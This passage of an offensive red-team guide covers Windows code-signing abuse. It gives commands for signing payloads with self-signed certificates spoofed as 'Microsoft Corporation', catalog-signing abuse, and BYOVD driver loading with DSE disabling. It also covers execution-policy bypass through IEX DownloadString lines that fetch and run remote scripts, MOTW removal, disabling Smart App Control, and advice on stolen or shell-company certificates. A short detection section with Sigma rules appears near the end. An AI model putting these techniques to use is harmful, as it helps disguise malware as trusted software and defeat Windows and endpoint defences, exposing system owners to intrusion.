1. Compute SHA256 of file.exe
2. Search all trusted .cat files in CatRoot: %SystemRoot%\System32\CatRoot\
3. If hash found in a trusted catalog → file is considered SIGNED
4. No modification to file.exe needed
Red team implication:
- Add your payload's hash to a catalog signed by a trusted cert
- Your unsigned payload is now "trusted" by Windows
- File has no embedded signature but is catalog-signed
9.2 Create and Sign a Catalog
:: makecat.exe — Create a catalog from a CDF (Catalog Definition File)
:: Step 1: Create a CDF file
echo [CatalogHeader] > catalog.cdf
echo Name=evil.cat >> catalog.cdf
echo ResultDir=.\Output >> catalog.cdf
echo [CatalogFiles] >> catalog.cdf
echo <hash>Payload=payload.exe >> catalog.cdf
echo <hash>Helper=helper.dll >> catalog.cdf
:: Step 2: Generate .cat from CDF
makecat.exe catalog.cdf
:: Step 3: Sign the catalog
signtool.exe sign ^
/f codesign.pfx ^
/p P@ssw0rd123 ^
/fd SHA256 ^
/tr http://timestamp.digicert.com ^
/td SHA256 ^
Output\evil.cat
:: Step 4: Install the catalog (admin required)
:: CryptCATAdminAcquireContext / CryptCATAdminAddCatalog (programmatic)
:: or:
signtool.exe catdb /v /u Output\evil.cat :: Register in system catalog database
9.3 Catalog Abuse via PowerShell
# Create a catalog for your payload
$FilesToCatalog = @{
"payload.exe" = "payload.exe"
"helper.dll" = "helper.dll"
}
# New-FileCatalog (Windows PowerShell 5.1+)
New-FileCatalog `
-Path "C:\payload" `
-CatalogFilePath "C:\payload\evil.cat" `
-CatalogVersion 2
# Sign the catalog
Set-AuthenticodeSignature `
-FilePath "C:\payload\evil.cat" `
-Certificate (Get-Item "Cert:\CurrentUser\My\THUMBPRINT_HERE") `
-TimestampServer "http://timestamp.digicert.com" `
-HashAlgorithm SHA256
# Test catalog validity
Test-FileCatalog `
-CatalogFilePath "C:\payload\evil.cat" `
-Path "C:\payload"
# Output: Valid / ValidationFailed
10. Driver Signing — WHQL & EV Certs
What it means: Modern Windows (10/11 with UEFI Secure Boot and enforced driver signing) requires kernel mode drivers to be signed by Microsoft through the WHQL (Windows Hardware Quality Labs) program, OR submitted to Microsoft's Hardware Dev Center portal with an EV code signing certificate. Threat actors abuse this in several ways: using leaked WHQL-signed drivers (BYOVD — Bring Your Own Vulnerable Driver), finding Microsoft-signed malicious drivers, or using the extended signing period for Windows Server 2016+ compatibility.
10.1 BYOVD (Bring Your Own Vulnerable Driver)
BYOVD Attack Flow:
Phase 1: Find a signed, vulnerable kernel driver
├─ Known vulnerable drivers: Capcom.sys, RTCore64.sys, DBUtil_2_3.sys
├─ Tools: loldrivers.io — curated list of vulnerable signed drivers
└─ Criteria: WHQL-signed (Microsoft trusted), has exploitable IOCTL
Phase 2: Load the signed vulnerable driver
├─ sc.exe create vuln binPath="C:\path\vuln.sys" type=kernel
├─ sc.exe start vuln
└─ Driver loads because it's signed by Microsoft (WHQL)
Phase 3: Exploit the driver to gain kernel R/W or arbitrary execution
├─ Send crafted IOCTL to vulnerable driver
├─ Write shellcode to kernel memory
├─ Disable PPL (Protected Process Light) for LSASS
├─ Disable DSE (Driver Signature Enforcement)
└─ Load your own unsigned/self-signed kernel driver
Phase 4: DSE disabled → load your unsigned evil.sys
└─ Full kernel execution, complete control
10.2 Load a Signed Driver
:: Load a kernel driver (admin + SE_LOAD_DRIVER_PRIVILEGE required)
:: Create service for the driver
sc.exe create VulnDriver ^
binPath= "C:\Windows\Temp\vuln.sys" ^
type= kernel ^
start= demand
:: Start the driver
sc.exe start VulnDriver
:: Check if loaded
sc.exe query VulnDriver
:: Delete the service after use
sc.exe stop VulnDriver
sc.exe delete VulnDriver
// C++ — Load driver programmatically (no sc.exe)
#include <windows.h>
#include <winsvc.h>
BOOL LoadDriver(LPCWSTR driverPath, LPCWSTR serviceName) {
SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (!hSCM) return FALSE;
SC_HANDLE hSvc = CreateService(
hSCM,
serviceName, // Service name
serviceName, // Display name
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER, // Driver type
SERVICE_DEMAND_START, // Manual start
SERVICE_ERROR_IGNORE,
driverPath, // Full path to .sys
NULL, NULL, NULL, NULL, NULL
);
if (!hSvc) {
// Service might already exist — try to open it
hSvc = OpenService(hSCM, serviceName, SERVICE_ALL_ACCESS);
}
BOOL result = FALSE;
if (hSvc) {
result = StartService(hSvc, 0, NULL);
CloseServiceHandle(hSvc);
}
CloseServiceHandle(hSCM);
return result;
}
// Usage:
// LoadDriver(L"C:\\Windows\\Temp\\vuln.sys", L"VulnDrv");
10.3 Notable Vulnerable Signed Drivers (loldrivers.io)
Driver | CVE | Capability | Signed By
-----------------|-----------------|---------------------|------------------
RTCore64.sys | CVE-2019-16098 | Arbitrary R/W | MICRO-STAR INTL
DBUtil_2_3.sys | CVE-2021-21551 | Arbitrary R/W | Dell
Capcom.sys | — | Arbitrary kernel exec| Capcom (game)
AsrDrv101.sys | CVE-2020-15368 | Arbitrary R/W | ASRock
gdrv.sys | CVE-2018-19320 | Arbitrary R/W | GIGABYTE
HwRwDrv.sys | — | Phys mem R/W | Various
mhyprot2.sys | CVE-2022-0185* | IOCTL abuse | miHoYo (Genshin)
WinRing0x64.sys | CVE-2020-14979 | Port/MSR access | Various vendors
Full list: https://www.loldrivers.io/
10.4 Disable Driver Signature Enforcement (DSE) via BYOVD
// After gaining kernel R/W via vulnerable driver:
// Patch nt!g_CiEnabled (or ci!g_CiEnabled on newer systems) to disable DSE
// Find g_CiEnabled address:
// 1. Via Ntoskrnl.exe export table
// 2. Via pattern scan in kernel memory
// 3. Via hardcoded offset (version-dependent)
// Conceptual pseudocode:
BOOL DisableDSE(KernelReadWrite *rw) {
ULONG64 ciBase = rw->FindKernelModule("CI.DLL");
ULONG64 gCiEnabled = ciBase + OFFSET_G_CI_ENABLED; // Version-specific
UCHAR disableValue = 0x00;
rw->WriteKernelMemory(gCiEnabled, &disableValue, 1);
// Now you can load unsigned drivers
return TRUE;
}
// Tools that do this automatically:
// - KDMapper: https://github.com/TheCruZ/kdmapper (maps unsigned driver via iqvw64e.sys)
// - TDL: Turla Driver Loader
// - gdrv-loader: uses GIGABYTE driver for DSE bypass
11. Signing with osslsigncode (Linux)
What it means: osslsigncode is an open-source, cross-platform tool that implements Authenticode signing entirely on Linux/macOS — no Windows required. Essential for red teamers operating from Linux who need to sign Windows PE/MSI/CAB payloads.
11.1 Install osslsigncode
# Ubuntu/Debian
sudo apt update && sudo apt install -y osslsigncode
# From source (latest version)
git clone https://github.com/mtrojnar/osslsigncode
cd osslsigncode
mkdir build && cd build
cmake ..
make -j$(nproc)
sudo make install
# Verify installation
osslsigncode --version
# osslsigncode 2.7
11.2 Sign a PE Binary
# Basic signing (PFX + password)
osslsigncode sign \
-pkcs12 codesign.pfx \
-pass P@ssw0rd123 \
-n "My Application" \
-i "https://www.example.com" \
-h sha256 \
-t http://timestamp.digicert.com \
-in payload.exe \
-out signed_payload.exe
# All options breakdown:
# -pkcs12 : PFX certificate file
# -pass : PFX password
# -n : Program name (shown in signature info)
# -i : URL shown in signature info
# -h : Hash algorithm (sha256 recommended)
# -t : Timestamp server (old Authenticode style)
# -ts : RFC 3161 timestamp server (preferred)
# -in : Input unsigned binary
# -out : Output signed binary
# Sign with separate cert + key files
osslsigncode sign \
-certs codesign.crt \
-key codesign.key \
-h sha256 \
-ts http://timestamp.digicert.com \
-in payload.exe \
-out signed_payload.exe
# Sign an MSI installer
osslsigncode sign \
-pkcs12 codesign.pfx \
-pass P@ssw0rd123 \
-h sha256 \
-ts http://timestamp.digicert.com \
-in installer.msi \
-out signed_installer.msi
11.3 Verify Signature (osslsigncode)
# Verify a signed binary
osslsigncode verify -in signed_payload.exe
# Verbose verification (shows full cert chain)
osslsigncode verify -in signed_payload.exe -v
# Verify against a specific CA cert
osslsigncode verify -in signed_payload.exe -CAfile ca_bundle.pem
# Extract the signature block
osslsigncode extract-signature \
-pem \
-in signed_payload.exe \
-out signature.pem
# Remove signature
osslsigncode remove-signature \
-in signed_payload.exe \
-out unsigned_payload.exe
11.4 Dual Signing (SHA1 + SHA256)
# Some older Windows versions require SHA1 signature
# Dual-sign: first SHA1, then append SHA256
# First signature (SHA1)
osslsigncode sign \
-pkcs12 codesign.pfx \
-pass P@ssw0rd123 \
-h sha1 \
-t http://timestamp.digicert.com \
-in payload.exe \
-out payload_sha1.exe
# Second signature (SHA256) — append mode
osslsigncode sign \
-pkcs12 codesign.pfx \
-pass P@ssw0rd123 \
-h sha256 \
-ts http://timestamp.digicert.com \
-nest \
-in payload_sha1.exe \
-out signed_payload.exe
# -nest : Append as additional signature (dual sign)
# Without -nest: Replaces existing signature
12. Signing with signtool.exe (Windows)
What it means: signtool.exe is Microsoft's official code signing tool, shipped with the Windows SDK. It's the standard way to sign PE files, drivers, MSI installers, CAB files, and PowerShell scripts on Windows. Full Authenticode support including dual signing, timestamping, and hardware token (HSM/USB token) support.
12.1 Install signtool
# signtool.exe comes with:
# 1. Windows SDK: https://developer.microsoft.com/en-us/windows/downloads/windows-sdk/
# 2. Visual Studio Build Tools
# 3. Windows Driver Kit (WDK)
# Typical locations:
# C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\x64\signtool.exe
# C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\...\bin\signtool.exe
# Find signtool
where.exe signtool.exe
# Or use PowerShell:
Get-ChildItem "C:\Program Files*\Windows Kits" -Recurse -Filter "signtool.exe" 2>$null
12.2 Sign with PFX
:: Sign using PFX (most common red team usage)
signtool.exe sign ^
/f "codesign.pfx" ^
/p "P@ssw0rd123" ^
/fd SHA256 ^
/tr http://timestamp.digicert.com ^
/td SHA256 ^
/d "Windows System Component" ^
/du "https://support.microsoft.com" ^
/v ^
payload.exe
:: Sign multiple files at once
signtool.exe sign ^
/f "codesign.pfx" /p "P@ssw0rd123" ^
/fd SHA256 /tr http://timestamp.digicert.com /td SHA256 ^
payload.exe helper.dll installer.msi
:: Sign all EXEs in a directory
for %f in (C:\build\*.exe) do (
signtool.exe sign /f codesign.pfx /p P@ssw0rd123 /fd SHA256 ^
/tr http://timestamp.digicert.com /td SHA256 "%f"
)
12.3 Sign with Certificate Store (Thumbprint)
:: Sign using cert already in Windows cert store (by thumbprint)
signtool.exe sign ^
/sha1 "ABCDEF1234567890ABCDEF1234567890ABCDEF12" ^
/fd SHA256 ^
/tr http://timestamp.digicert.com ^
/td SHA256 ^
/v ^
payload.exe
:: Sign using cert by subject name
signtool.exe sign ^
/n "My Code Signing Cert" ^
/fd SHA256 ^
/tr http://timestamp.digicert.com ^
/td SHA256 ^
payload.exe
:: Sign using cert from specific store
signtool.exe sign ^
/sm ^ :: Use machine store (instead of user store)
/s "MY" ^ :: Store name (MY = Personal)
/n "Cert CN" ^
/fd SHA256 ^
/tr http://timestamp.digicert.com /td SHA256 ^
payload.exe
12.4 Verify and Inspect Signatures
:: Verify signature (basic)
signtool.exe verify /pa payload.exe
:: Verbose verify (shows cert chain)
signtool.exe verify /pa /v payload.exe
:: Verify ALL signatures (for dual-signed binaries)
signtool.exe verify /pa /all payload.exe
:: Verify allowing self-signed (for testing)
signtool.exe verify /v payload.exe
:: (No /pa means it doesn't verify trust chain strictly)
:: Return codes:
:: 0 = Success (signature valid)
:: 1 = Failure (signature invalid or unsigned)
13. PowerShell Script Signing
What it means: PowerShell has its own execution policy system that can require scripts to be Authenticode-signed. In environments with AllSigned or RemoteSigned policies, unsigned .ps1 scripts will not run. Signing PowerShell scripts allows execution in locked-down environments and makes scripts appear more legitimate.
13.1 PowerShell Execution Policy Overview
ExecutionPolicy levels (most → least restrictive):
AllSigned: ALL scripts must be signed (trusted publisher)
RemoteSigned: Local scripts run unsigned; downloaded scripts need signature
Bypass: Nothing blocked, no warnings
Unrestricted: All scripts run (warns for downloaded)
Restricted: No scripts run at all (default on desktop)
Check current policy:
Get-ExecutionPolicy -List # All scopes
Get-ExecutionPolicy # Effective policy
Scope hierarchy (highest wins):
MachinePolicy > UserPolicy > Process > CurrentUser > LocalMachine
13.2 Sign a PowerShell Script
# Get your code signing cert (from cert store)
$cert = Get-ChildItem "Cert:\CurrentUser\My" -CodeSigningCert |
Where-Object { $_.Subject -like "*MyCodeSign*" }
# If using PFX, import it first:
Import-PfxCertificate `
-FilePath "codesign.pfx" `
-Password (ConvertTo-SecureString "P@ssw0rd123" -AsPlainText -Force) `
-CertStoreLocation "Cert:\CurrentUser\My"
$cert = Get-ChildItem "Cert:\CurrentUser\My" -CodeSigningCert | Select-Object -First 1
# Sign the script
Set-AuthenticodeSignature `
-FilePath "payload.ps1" `
-Certificate $cert `
-TimestampServer "http://timestamp.digicert.com" `
-HashAlgorithm SHA256
# Verify
Get-AuthenticodeSignature "payload.ps1"
# Output:
# Directory: C:\path
# SignerCertificate Status Path
# ──────────────────────────────────
# [cert object] Valid payload.ps1
13.3 What a Signed Script Looks Like
# Original payload.ps1:
Write-Host "Hello, Red Team"
Invoke-Expression (New-Object Net.WebClient).DownloadString("http://10.10.10.10/stage2.ps1")
# After signing, signtool appends this block to the file:
# SIG # Begin signature block
# MIIxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
# xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
# xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
# SIG # End signature block
# The signature is appended as a comment block
# PowerShell knows to ignore it when executing but reads it for verification
13.4 Bypass AllSigned Without Signing
# Bypass execution policy for current process only (doesn't persist)
powershell.exe -ExecutionPolicy Bypass -File payload.ps1
# Pipe content (bypasses policy — no file saved locally)
IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/payload.ps1")
# Encode and execute (Base64)
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command))
powershell.exe -EncodedCommand $encoded
# Read and invoke (no -File, reads as string)
powershell.exe -Command "Get-Content payload.ps1 | Invoke-Expression"
# Set policy for current user only (doesn't require admin)
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser -Force
[OPSEC] AllSigned bypass via -ExecutionPolicy Bypass is heavily logged by ScriptBlock logging (Event ID 4104) and AMSI. Signing is always better OPSEC than bypassing.
14. .NET Assembly Signing (Authenticode + StrongName)
What it means: .NET assemblies have TWO types of signing: (1) Authenticode (same as PE signing — embeds PKCS#7 signature) and (2) Strong Name Signing (a .NET-specific mechanism using an RSA key to give the assembly a unique identity for GAC deployment and version binding). Both can be relevant for red team .NET implants targeting locked-down environments.
14.1 Strong Name Signing
Strong Name vs Authenticode:
Strong Name:
├─ .NET-only concept
├─ Signs the IL (Intermediate Language) content
├─ Creates: PublicKeyToken in AssemblyName
├─ Purpose: Assembly identity, GAC installation, version binding
├─ NOT a trust mechanism (doesn't chain to trusted CA)
├─ Verified by: CLR (.NET runtime)
└─ File change: Adds RSN signature to PE .snk
Authenticode:
├─ Same as native PE signing (PKCS#7)
├─ Wraps the entire PE file
├─ Verified by: WinVerifyTrust() / Windows
└─ Trust: Chains to CA in Windows cert store
Use both for maximum .NET assembly trust.
14.2 Generate Strong Name Key
:: Generate a strong name key pair (.snk)
sn.exe -k 2048 MyKey.snk
:: Extract public key from SNK
sn.exe -p MyKey.snk MyKey.pub
:: View public key token (what shows in assembly name)
sn.exe -t MyKey.pub
:: Sign an existing assembly with strong name (delay signing)
sn.exe -R MyAssembly.dll MyKey.snk
:: Verify strong name signature
sn.exe -v MyAssembly.dll
:: Output: MyAssembly.dll is valid
14.3 Sign .NET Assembly in Code (C#)
// In .csproj — add signing via project properties:
// <AssemblyOriginatorKeyFile>MyKey.snk</AssemblyOriginatorKeyFile>
// <SignAssembly>true</SignAssembly>
// Or use AssemblyInfo.cs attributes:
using System.Reflection;
using System.Runtime.CompilerServices;
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
// Strong name is applied by compiler when SNK is specified, not via attribute
// Check strong name from C#:
using System.Reflection;
var asm = Assembly.GetExecutingAssembly();
var name = asm.GetName();
byte[] publicKey = name.GetPublicKey();
byte[] token = name.GetPublicKeyToken();
Console.WriteLine($"PublicKeyToken: {BitConverter.ToString(token).Replace("-", "").ToLower()}");
14.4 Authenticode Sign a .NET Assembly
:: Same process as native PE — signtool works on .NET assemblies
signtool.exe sign ^
/f codesign.pfx ^
/p P@ssw0rd123 ^
/fd SHA256 ^
/tr http://timestamp.digicert.com ^
/td SHA256 ^
MyImplant.dll
:: Verify
signtool.exe verify /pa /v MyImplant.dll
:: Sign a ClickOnce manifest (.manifest file)
signtool.exe sign ^
/f codesign.pfx ^
/p P@ssw0rd123 ^
/fd SHA256 ^
/tr http://timestamp.digicert.com ^
MyApp.manifest
15. Smart App Control & MRC Bypass
What it means: Windows 11 introduced Smart App Control (SAC) — an AI-based reputation system that blocks apps without a good reputation score. Unlike traditional SmartScreen, SAC enforces a stricter model: if a binary isn't signed by a known-good publisher and has no reputation in Microsoft's cloud service, it's blocked entirely — no bypass prompt. Mark of the Web (MOTW) is a Zone Identifier alternate data stream (:Zone.Identifier) applied to files downloaded from the internet, which triggers SmartScreen and SAC checks.
15.1 Smart App Control Architecture
Smart App Control check flow (Windows 11 22H2+):
App launch attempt
│
├─ Is SAC enabled? (SAC has 3 states: Off / Evaluation / On)
│ └─ Registry: HKLM\SYSTEM\CurrentControlSet\Control\CI\Policy\VerifiedAndReputablePolicyState
│ 0 = Off | 1 = Evaluation | 2 = On
│
├─ Does file have MOTW (:Zone.Identifier ADS)?
│ └─ ZoneId=3 (Internet zone) triggers full SAC check
│
├─ Is binary signed with valid Authenticode cert?
│ ├─ NO → Block (no prompt in SAC=On mode)
│ └─ YES → Continue
│
├─ Is publisher known to Microsoft's reputation cloud?
│ ├─ EV cert → Instant reputation bypass
│ ├─ OV cert → Reputation builds over time (file hash, cert, publisher)
│ └─ Unknown → Block
│
└─ If all pass: Allow
15.2 Remove Mark of the Web (MOTW)
# Check if a file has MOTW
Get-Item "payload.exe" -Stream * | Where-Object { $_.Stream -ne ':$DATA' }
# Shows: :Zone.Identifier if MOTW is present
# Read MOTW content
Get-Content "payload.exe" -Stream Zone.Identifier
# [ZoneTransfer]
# ZoneId=3 ← 3 = Internet Zone (triggers SmartScreen/SAC)
# ReferrerUrl=...
# HostUrl=...
# Remove MOTW (Unblock-File)
Unblock-File -Path "payload.exe"
# Or: Remove-Item "payload.exe:Zone.Identifier" -ErrorAction SilentlyContinue
# Batch remove MOTW from directory
Get-ChildItem "C:\payload" -Recurse | ForEach-Object {
Unblock-File -Path $_.FullName
}
# Prevent MOTW from being applied:
# - Deliver payload via SMB share (not HTTPS download)
# - Use 7-Zip (doesn't propagate MOTW to extracted files — pre-7zip 22.00)
# - Use WinRAR (doesn't propagate MOTW)
# - Copy via RDP clipboard (doesn't apply MOTW)
# - Inject directly into memory (no file = no MOTW)
15.3 Disable Smart App Control (Registry)
# Check current SAC state
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Control\CI\Policy"
$sacState = (Get-ItemProperty -Path $regPath -Name "VerifiedAndReputablePolicyState").VerifiedAndReputablePolicyState
Write-Host "SAC State: $sacState (0=Off, 1=Evaluation, 2=On)"
# Disable SAC (requires admin + reboot)
Set-ItemProperty -Path $regPath `
-Name "VerifiedAndReputablePolicyState" `
-Value 0 `
-Type DWORD
# Note: SAC can only be re-enabled from Windows Security app
# Once disabled, it cannot be set back to "Evaluation" mode
[DETECT] Disabling SAC via registry is easily detected. Prefer MOTW removal or delivering payloads that don't trigger MOTW (SMB, clipboard, memory injection).
15.4 MOTW Propagation Gaps (Archive Tools)
Archive tool MOTW propagation behavior:
Tool | Version | MOTW on archive | MOTW on extracted | Propagates?
------------|------------|-----------------|-------------------|------------
7-Zip | < 22.00 | YES | NO | NO ← abused
7-Zip | ≥ 22.00 | YES | YES | YES (patched)
WinRAR | All | YES | NO | NO ← still works
Windows ZIP | Built-in | YES | YES | YES
WinZip | All | YES | YES | YES
Red team implication (pre-patch or WinRAR):
1. Package payload.exe in a .zip or .rar
2. Send via email/download (archive gets MOTW)
3. User extracts with WinRAR → extracted .exe has NO MOTW
4. .exe runs without SmartScreen/SAC check
16. Detection & Evasion
16.1 Detection Vectors
[DETECT] How defenders identify malicious signing:
1. Self-signed / untrusted root
├─ Chain doesn't resolve to trusted CA
├─ issuer == subject (dead giveaway for self-signed)
├─ Logged by EDR on load
└─ Detection: WinVerifyTrust returns TRUST_E_EXPLICIT_DISTRUST or chain error
2. Invalid / hash mismatch signature (Sigthief)
├─ WinVerifyTrust() returns TRUST_E_BAD_DIGEST
├─ EDR calls WinVerifyTrust — detects grafted certs
├─ Sysmon Event 7 (image load): Signed=false even with embedded cert
└─ Detection rule: ImageLoaded where Signed=true AND SignatureStatus!=Valid
3. Revoked certificate
├─ CRL/OCSP check shows revoked status
├─ Windows flags revoked certs in WinVerifyTrust
└─ Detection: CRYPT_E_REVOKED in verification
4. Mismatched signer metadata
├─ Binary claims "Microsoft Corporation" but cert is OV from "Random LLC"
├─ Binary description says "Notepad" but filename is loader.exe
└─ Detection: EDR compares embedded VersionInfo resources vs cert Subject
5. Suspicious certificate subject names
├─ Typosquatting: "Micros0ft Corp" / "MicrosOft" / "Mircosoft"
├─ Generic names: "Software LLC" / "IT Solutions Inc"
└─ Detection: Reputation check on publisher name
6. Short-lived certificates
├─ Cert valid for < 30 days (purchased just for malware campaign)
└─ Detection: NotAfter - NotBefore < threshold
7. Timestamp anomalies
├─ Timestamp date predates file creation date (back-dating attempt)
├─ Timestamp from unusual TSA not commonly used by legitimate software
└─ Detection: Compare filesystem metadata vs embedded timestamp
16.2 Evasion Techniques
[EVASION] How attackers evade signing detection:
1. Acquire legitimate OV/EV cert via shell company
└─ Register LLC → Apply for OV cert → Sign malware
└─ Takes: ~1-2 weeks + ~$300-500
└─ Bypass: SmartScreen reputation, EDR trust checks
2. Build reputation (SmartScreen)
└─ Sign clean software → distribute widely → build trust score
└─ Once score is high, use same cert for malware
└─ Microsoft calls this "certificate abuse"
3. Sign before cert revocation
└─ Compromised cert → sign → timestamp → cert gets revoked
└─ Signed binary STILL valid (timestamp proves it was signed before revocation)
└─ Remains valid until Microsoft pushes revocation to Windows Update
4. Match binary metadata to cert
└─ Set FileDescription, ProductName, CompanyName in VERSIONINFO
└─ Match cert Subject Organization exactly
└─ Example: cert says "Contoso LLC" → binary says "Contoso LLC" in VersionInfo
5. Minimize MOTW exposure
└─ Deliver via SMB (\\server\share → no MOTW)
└─ Deliver via RDP clipboard transfer
└─ Use WinRAR for delivery archive
└─ Use DLL sideloading (DLL doesn't get MOTW from parent EXE)
6. Use Microsoft-signed LOLBins to load payload
└─ Your payload loaded by regsvr32.exe / msiexec.exe / rundll32.exe
└─ Initiating process is Microsoft-signed = less suspicious
└─ Payload DLL still needs to pass EDR checks
7. Kernel-level: BYOVD → DSE disable → load unsigned driver
└─ See section 10 — most powerful bypass, highest detection risk
16.3 Detection Rules (Sigma / Sysmon)
# Sigma rule — Self-signed code execution
title: Self-Signed Binary Execution
status: experimental
logsource:
category: process_creation
product: windows
detection:
selection:
Signed: 'true'
SignatureStatus: 'Invalid' # Has signature but chain fails
condition: selection
level: high
---
# Sigma rule — Grafted/invalid certificate
title: PE with Grafted Authenticode Signature
status: experimental
logsource:
category: image_load
product: windows
detection:
selection:
Signed: 'true'
SignatureStatus|contains:
- 'HashMismatch'
- 'NotTrusted'
- 'Invalid'
condition: selection
level: high
---
# Sigma rule — Suspicious publisher name in VERSIONINFO
title: Binary with Microsoft-Like Publisher Name but Non-Microsoft Cert
status: experimental
logsource:
category: process_creation
product: windows
detection:
selection_ms_name:
Company|contains:
- 'Microsoft'
- 'Windows'
filter_real_ms:
SignatureStatus: 'Valid'
# And cert thumbprint in known Microsoft thumbprint list
condition: selection_ms_name and not filter_real_ms
level: medium
# PowerShell — Enumerate signed binaries in a directory (threat hunting)
Get-ChildItem "C:\Users" -Recurse -Include "*.exe","*.dll" -ErrorAction SilentlyContinue |
ForEach-Object {
$sig = Get-AuthenticodeSignature $_.FullName -ErrorAction SilentlyContinue
if ($sig -and $sig.Status -ne "NotSigned") {
[PSCustomObject]@{
File = $_.FullName
Status = $sig.Status
Signer = $sig.SignerCertificate.Subject
Issuer = $sig.SignerCertificate.Issuer
Expiry = $sig.SignerCertificate.NotAfter
}
}
} | Where-Object { $_.Status -ne "Valid" } | Format-Table -AutoSize
17. Comparison Matrix
| Technique | Trust Level | SmartScreen Bypass | EDR Evasion | Kernel Drivers | Cost | OPSEC Risk | Complexity |
|---|---|---|---|---|---|---|---|
| Unsigned | None | No | No | No | Free | Very High | Trivial |
| Self-signed | None | No | Partial | No | Free | High | Low |
| Self-signed + root install | Local only | Yes (local) | Partial | No | Free | High | Low |
| Cloned cert (CarbonCopy) | None | No | Low | No | Free | High | Low |
| Grafted sig (Sigthief) | None | No | Low | No | Free | High | Low |
| OV cert (purchased) | High | Partial | Yes | No | $300-500/yr | Medium | Medium |
| EV cert (purchased) | Very High | Yes (instant) | Yes | With WHQL | $500-1000/yr | Low | Medium |
| Stolen cert (pre-revoke) | Real CA trust | Yes | Yes | Yes (if WHQL) | Criminal | Very Low | High |
| BYOVD + DSE disable | N/A (kernel) | N/A | Yes | Yes (unsigned) | Free | Medium | Very High |
| Catalog signing | As-cert | Partial | Partial | No | Free* | Medium | Medium |
| Timestamp abuse | Extends validity | Yes (if cert valid) | Partial | No | Free | Low | Low |
18. Cheat Sheet
Quick Workflow — Generate Cert → Sign → Verify
# ── LINUX WORKFLOW ─────────────────────────────────────────────────
# Step 1: Generate self-signed code signing cert
openssl req -new -newkey rsa:2048 -keyout codesign.key -out codesign.csr -nodes \
-subj "/C=US/ST=Washington/O=Microsoft Corporation/CN=Microsoft Windows"
openssl x509 -req -days 1825 -in codesign.csr -signkey codesign.key -out codesign.crt
openssl pkcs12 -export -out codesign.pfx -inkey codesign.key -in codesign.crt \
-passout pass:P@ssw0rd123
# Step 2: Sign the payload
osslsigncode sign \
-pkcs12 codesign.pfx -pass P@ssw0rd123 \
-h sha256 -ts http://timestamp.digicert.com \
-n "Windows System Component" -i "https://support.microsoft.com" \
-in payload.exe -out signed_payload.exe
# Step 3: Verify
osslsigncode verify -in signed_payload.exe -v
# Step 4: Clone a real cert's identity
python3 CarbonCopy.py www.microsoft.com 443 payload.exe signed_payload.exe
# ── WINDOWS WORKFLOW ───────────────────────────────────────────────
# Step 1: Create self-signed cert
$cert = New-SelfSignedCertificate -Type CodeSigningCert `
-Subject "CN=Microsoft Windows, O=Microsoft Corporation" `
-KeyLength 2048 -HashAlgorithm SHA256 `
-CertStoreLocation "Cert:\CurrentUser\My" `
-NotAfter (Get-Date).AddYears(5)
# Step 2: Sign payload
Set-AuthenticodeSignature `
-FilePath payload.exe `
-Certificate $cert `
-TimestampServer "http://timestamp.digicert.com" `
-HashAlgorithm SHA256
# Step 3: Verify
Get-AuthenticodeSignature payload.exe | Select-Object Status, SignerCertificate
# Step 4: signtool.exe (if available)
signtool.exe sign /sha1 $cert.Thumbprint /fd SHA256 `
/tr http://timestamp.digicert.com /td SHA256 payload.exe
signtool.exe verify /pa /v payload.exe
Certificate Quick Reference
Certificate Fields — What Attackers Control / Spoof:
┌────────────────────────────────────────────────────────┐
│ Field │ Controlled by │ Spoof impact │
│─────────────────────────────────────────────────────────│
│ Subject/CN │ Cert owner │ Publisher name shown │
│ Organization │ CA-verified* │ Company name in dialog │
│ Serial Number │ CA │ Traceability │
│ NotBefore/After │ CA │ Validity period │
│ Issuer │ CA │ CA name │
│ Thumbprint │ Hash of cert │ Unique identifier │
│ Key Usage │ Cert owner │ codeSigning required │
│ Timestamp │ TSA │ Signing time proof │
└────────────────────────────────────────────────────────┘
* OV = organization identity verified by CA
* EV = extended verification (legal entity)
* Self-signed = none verified
Timestamp Server Quick Reference
# Test if TSA is reachable and responding
curl -s -o /dev/null -w "%{http_code}" http://timestamp.digicert.com
# 200 = reachable
# All free timestamp servers:
# DigiCert: http://timestamp.digicert.com
# Sectigo: http://timestamp.comodoca.com
# GlobalSign: http://timestamp.globalsign.com/scripts/timstamp.dll
# Entrust: http://timestamp.entrust.net/TSS/AuthenticodeTS
# Apple: http://timestamp.apple.com/ts01
Decision Tree — Which Signing Approach?
Need to sign a payload?
│
├─ CTF / Lab environment?
│ └─ Self-signed cert → fast, sufficient for basic checks
│
├─ Real red team engagement?
│ │
│ ├─ Target has SmartScreen / SAC (Windows 11)?
│ │ ├─ High budget / APT simulation?
│ │ │ └─ Stolen EV cert OR purchased EV (shell company)
│ │ │ + Timestamp → maximum bypass
│ │ └─ Limited budget?
│ │ └─ Purchased OV cert ($300)
│ │ + Build reputation before operation
│ │
│ ├─ Target has basic AV only?
│ │ └─ Self-signed + timestamp + matching VersionInfo metadata
│ │
│ ├─ Need kernel driver?
│ │ └─ BYOVD: loldrivers.io → RTCore64.sys / DBUtil_2_3.sys
│ │ → DSE disable → load unsigned driver
│ │
│ ├─ PowerShell in AllSigned environment?
│ │ └─ Sign .ps1 with code signing cert
│ │ OR deliver via IEX + download (bypasses file policy)
│ │
│ └─ .NET implant?
│ └─ Authenticode sign DLL/EXE + Optional StrongName
│
├─ Deliver without MOTW?
│ ├─ SMB share delivery
│ ├─ RDP clipboard transfer
│ ├─ WinRAR archive
│ └─ In-memory injection (no file = no MOTW)
│
└─ OPSEC priority?
├─ Don't use self-signed (trivially detected)
├─ Always timestamp (prevents cert expiry issues)
├─ Match VERSIONINFO to cert Subject exactly
└─ Rotate certs per engagement (don't reuse)
